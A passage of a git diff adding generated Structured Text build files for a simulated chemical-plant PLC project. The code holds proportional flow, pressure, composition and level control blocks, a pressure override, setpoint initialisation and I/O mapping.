/dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT 